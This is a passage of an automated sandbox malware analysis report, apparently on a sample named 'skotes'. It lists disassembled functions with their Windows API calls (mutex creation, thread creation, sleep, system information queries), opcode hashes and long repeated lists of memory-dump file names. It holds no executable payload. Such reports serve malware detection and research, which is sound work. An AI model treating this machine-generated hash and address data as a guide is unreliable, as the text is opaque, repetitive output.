Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58c8083de04b2b6ee3702882dbde5f7772fc99ea4b5c3059beab00755718600d
Instruction ID: eab8b229887358b65ebaf899406be533a52f355ef6b5f888907ff75e37bfafcb
Opcode Fuzzy Hash: 58c8083de04b2b6ee3702882dbde5f7772fc99ea4b5c3059beab00755718600d
Instruction Fuzzy Hash: 432106729041087BEB116B68EC42B9F7769DF41378F101212F9743B3C1E7709E0396A1

Function 00EAA960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b46afd033c1618ab83c58f37cf4a0df9f63b4106a1073e02d1557292d5f91ad0
Instruction ID: 1484f8317a7ae954dfc077e4a34bc50cc64e576b5d417e125be3b27293c743ab
Opcode Fuzzy Hash: b46afd033c1618ab83c58f37cf4a0df9f63b4106a1073e02d1557292d5f91ad0
Instruction Fuzzy Hash: BAE0862169D30095FA107F6D7885F2A7298A7EBB04F252465A704EA4D0CA70A5929123

Function 00EB6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00EB6D10
Sleep.KERNEL32(00007530), ref: 00EB6D25

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: aaef5fd59b80920cdc6402b056bd4f458799408e10bc855aeba50aa0a68b8423
Instruction ID: 92ee53dde07c70c9ff83e146560acb67101d3b8b4937add8ace8b65f3f456fd0
Opcode Fuzzy Hash: aaef5fd59b80920cdc6402b056bd4f458799408e10bc855aeba50aa0a68b8423
Instruction Fuzzy Hash: 89D04C757C5314BBF26117626C07FA7AE109B0AF51FA66844BB4C3F0D18AE835008AAD

Function 00EA8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EA8524

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 0aff91d7e0c873aff7215bc2aa5b060631230fd65d8ec38aa4bd07b376d773d4
Instruction ID: a63e76058be7fabc3fb6a8b8a93664ea9e2b0b185f3a983ae4ea39e673ee4e58
Opcode Fuzzy Hash: 0aff91d7e0c873aff7215bc2aa5b060631230fd65d8ec38aa4bd07b376d773d4
Instruction Fuzzy Hash: 4C514D70D042189BDB14EB78CE457DEB7B5EB4A314F5052A9E814BB2C1EF34AE808B91

Function 00ED7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00ED705B,?,?,00000000,00000000), ref: 00ED7166

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: d45bc25e742be81c757242b8610e7c60334a435ff5d0b6c17a8114ebf0022b20
Instruction ID: 2c7ecc86e47ae35fe9f2dba58c4b859fe16de0e4636d26171f4e964b27faac57
Opcode Fuzzy Hash: d45bc25e742be81c757242b8610e7c60334a435ff5d0b6c17a8114ebf0022b20
Instruction Fuzzy Hash: D6111C7290510CABDB10DF94C881EDF77BCEB08314F606262E551F2180FB70EA4ACB61

Function 00EDAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00EDAC8D

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
